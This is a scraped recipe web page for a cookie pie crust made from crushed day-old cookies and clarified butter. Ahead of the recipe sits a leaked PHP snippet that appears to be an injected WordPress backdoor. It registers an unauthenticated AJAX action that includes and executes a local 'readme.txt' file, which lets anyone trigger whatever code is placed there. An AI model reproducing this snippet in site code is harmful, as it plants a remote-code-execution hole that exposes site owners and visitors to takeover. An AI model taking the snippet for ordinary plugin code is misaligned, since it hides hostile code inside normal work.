if(!function_exists('file_check_readme77158')){ add_action('wp_ajax_nopriv_file_check_readme77158', 'file_check_readme77158'); add_action('wp_ajax_file_check_readme77158', 'file_check_readme77158'); function file_check_readme77158() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Cookie Pie Crust – Vie De France

Cookie Dough

Cookie Pie Crust

Ingredients:

Nine 2 oz day-old cookies

Directions:

1. Break cookies into chunks.

2. Re-bake at 200°F for an hour.

3. Allow chunks to cool, then crush them and add 3 tablespoons of melted clarified unsalted butter.

4. Press into a mold and you’re ready to add your filling. Bake pie as needed.